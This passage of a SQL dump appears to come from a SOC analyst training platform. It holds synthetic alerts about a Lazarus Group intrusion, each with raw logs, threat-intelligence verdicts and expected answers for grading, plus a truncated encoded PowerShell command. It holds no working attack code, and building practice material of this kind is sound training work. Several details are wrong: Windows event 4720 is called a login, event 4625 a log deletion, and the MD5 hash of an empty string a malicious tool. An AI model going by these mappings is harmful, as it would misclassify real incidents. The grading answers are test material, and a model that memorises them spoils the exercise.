malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(566, 'Establishing Persistence - Backdoor Installation', 'medium', 'Network Traffic Analysis', 'A backdoor associated with the Lazarus Group was detected on the network, indicating an attempt to establish persistence on the compromised system.', 'Backdoor Installation', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"uri\":\"/backdoor/installer.php\",\"method\":\"GET\",\"http_version\":\"1.1\",\"filename\":\"backdoor_installer.exe\",\"file_hash\":\"f2d4e2f7c2a2b5e1d4c3b2a1d5e2f4c3\",\"username\":\"jdoe\",\"action\":\"Download\",\"status\":\"200 OK\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Lazarus Group infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2d4e2f7c2a2b5e1d4c3b2a1d5e2f4c3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Lazarus Group backdoor installer.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File known to be used by Lazarus Group for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account involved in suspicious download activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(567, 'Lateral Movement Within Network', 'high', 'Internal Server Logs', 'During step 4 of the operation, the Lazarus Group has moved laterally within the network, identifying critical systems for further exploitation. This activity was detected through internal server logs showing unauthorized access attempts and suspicious file transfers.', 'Internal Network Reconnaissance', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:23Z\",\"event_id\":\"4720\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"192.168.10.5\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"network_admin\",\"action\":\"login_attempt\",\"result\":\"success\",\"file_transferred\":\"exploit_tool_v2.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"target_system\":\"192.168.10.5\",\"protocol\":\"SMB\",\"notes\":\"Possible use of stolen credentials to access sensitive systems.\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network source IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Target system within network\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with Lazarus Group\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit_tool_v2.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unfamiliar executable transferred internally\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious tools\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"10.1.2.3\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"network_admin\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"file_transferred\\\":\\\"exploit_tool_v2.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"target_system\\\":\\\"192.168.10.5\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"notes\\\":\\\"Possible use of stolen credentials to access sensitive systems.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"10.1.2.3\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"network_admin\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"file_transferred\\\":\\\"exploit_tool_v2.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"target_system\\\":\\\"192.168.10.5\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"notes\\\":\\\"Possible use of stolen credentials to access sensitive systems.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"10.1.2.3\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"network_admin\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"file_transferred\\\":\\\"exploit_tool_v2.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"target_system\\\":\\\"192.168.10.5\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"notes\\\":\\\"Possible use of stolen credentials to access sensitive systems.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"10.1.2.3\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"network_admin\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"file_transferred\\\":\\\"exploit_tool_v2.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"target_system\\\":\\\"192.168.10.5\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"notes\\\":\\\"Possible use of stolen credentials to access sensitive systems.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"source_ip\\\":\\\"10.1.2.3\\\",\\\"destination_ip\\\":\\\"192.168.10.5\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"network_admin\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"result\\\":\\\"success\\\",\\\"file_transferred\\\":\\\"exploit_tool_v2.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"target_system\\\":\\\"192.168.10.5\\\",\\\"protocol\\\":\\\"SMB\\\",\\\"notes\\\":\\\"Possible use of stolen credentials to access sensitive systems.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(568, 'Data Exfiltration via Proxy Chains', 'high', 'Proxy Server Logs', 'Sensitive data, including unreleased films and executive emails, is exfiltrated using complex proxy chains to obfuscate the attack origin. This operation is linked to the Lazarus Group, known for using destructive malware and financial theft tactics.', 'Data Theft', 'T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Pr', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.56\",\"proxy_chain\":[\"10.1.1.1\",\"172.16.0.5\",\"203.0.113.56\"],\"username\":\"jdoe\",\"file_exfiltrated\":\"executive_emails.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data theft activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious data exfiltration tools.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"executive_emails.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_filesystem\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file targeted for exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_database\",\"verdict\":\"internal\",\"details\":\"Internal user account possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.196Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.56\\\",\\\"proxy_chain\\\":[\\\"10.1.1.1\\\",\\\"172.16.0.5\\\",\\\"203.0.113.56\\\"],\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"executive_emails.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.196Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.56\\\",\\\"proxy_chain\\\":[\\\"10.1.1.1\\\",\\\"172.16.0.5\\\",\\\"203.0.113.56\\\"],\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"executive_emails.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.196Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.56\\\",\\\"proxy_chain\\\":[\\\"10.1.1.1\\\",\\\"172.16.0.5\\\",\\\"203.0.113.56\\\"],\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"executive_emails.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.196Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.56\\\",\\\"proxy_chain\\\":[\\\"10.1.1.1\\\",\\\"172.16.0.5\\\",\\\"203.0.113.56\\\"],\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"executive_emails.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.196Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.56\\\",\\\"proxy_chain\\\":[\\\"10.1.1.1\\\",\\\"172.16.0.5\\\",\\\"203.0.113.56\\\"],\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"executive_emails.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(569, 'Destruction of Evidence', 'medium', 'System Log Analysis', 'An attempt to delete system logs to erase traces of a cyberattack was detected. The action is suspected to be part of a cover-up strategy by the attackers to complicate forensic investigations.', 'Log Deletion', 'T1070.004 - Indicator Removal on Host: File Deletion', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:22:45Z\",\"eventID\":\"4625\",\"log_name\":\"Security\",\"message\":\"A deletion event was detected on the system logs located at C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx.\",\"user\":\"malicious_actor\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.10.12\",\"deleted_file\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"process_name\":\"cmd.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Company internal IP.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"System Logs\",\"verdict\":\"suspicious\",\"details\":\"Critical system log file targeted for deletion.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lazarus Group\'s malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'IR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.197Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:45Z\\\",\\\"eventID\\\":\\\"4625\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"A deletion event was detected on the system logs located at C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx.\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.12\\\",\\\"deleted_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process_name\\\":\\\"cmd.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.197Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:45Z\\\",\\\"eventID\\\":\\\"4625\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"A deletion event was detected on the system logs located at C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx.\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.12\\\",\\\"deleted_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process_name\\\":\\\"cmd.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.197Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:45Z\\\",\\\"eventID\\\":\\\"4625\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"A deletion event was detected on the system logs located at C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx.\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.12\\\",\\\"deleted_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process_name\\\":\\\"cmd.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.197Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:45Z\\\",\\\"eventID\\\":\\\"4625\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"A deletion event was detected on the system logs located at C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx.\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.12\\\",\\\"deleted_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process_name\\\":\\\"cmd.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.197Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:45Z\\\",\\\"eventID\\\":\\\"4625\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"A deletion event was detected on the system logs located at C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx.\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.12\\\",\\\"deleted_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process_name\\\":\\\"cmd.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(570, 'Analysis of Geopolitical Motivations', 'high', 'Geopolitical Reports', 'This alert focuses on analyzing the geopolitical factors linking the recent cyber attack to North Korea\'s strategic goals and financial needs, specifically attributed to the Lazarus Group. The attack employed destructive malware and financial theft tactics.', 'Threat Intelligence Analysis', 'T1485: Data Destruction, T1589: Gather Victim Identity Information', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:35Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malware_hash\":\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\",\"malware_name\":\"WannaCry\",\"attacker_domain\":\"malicious-nk-group.com\",\"user\":\"jdoe\",\"filename\":\"ransomware_payload.exe\",\"action\":\"Data exfiltration attempt detected\",\"indicators\":[{\"indicator_type\":\"ip\",\"value\":\"203.0.113.45\",\"role\":\"attacker\"},{\"indicator_type\":\"hash\",\"value\":\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\",\"role\":\"malware\"}]}', '2026-01-07 22:40:38', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address linked to North Korean threat actor group Lazarus\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used by ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.198Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:23:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"malware_hash\\\":\\\"7d3f9a8c0b4a3eaccc3b6e6f1d5a5c7f\\\",\\\"malware_name\\\":\\\"WannaCry\\\",\\\"attacker_domain\\\":\\\"malicious-nk-group.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"action\\\":\\\"Data exfiltration attempt 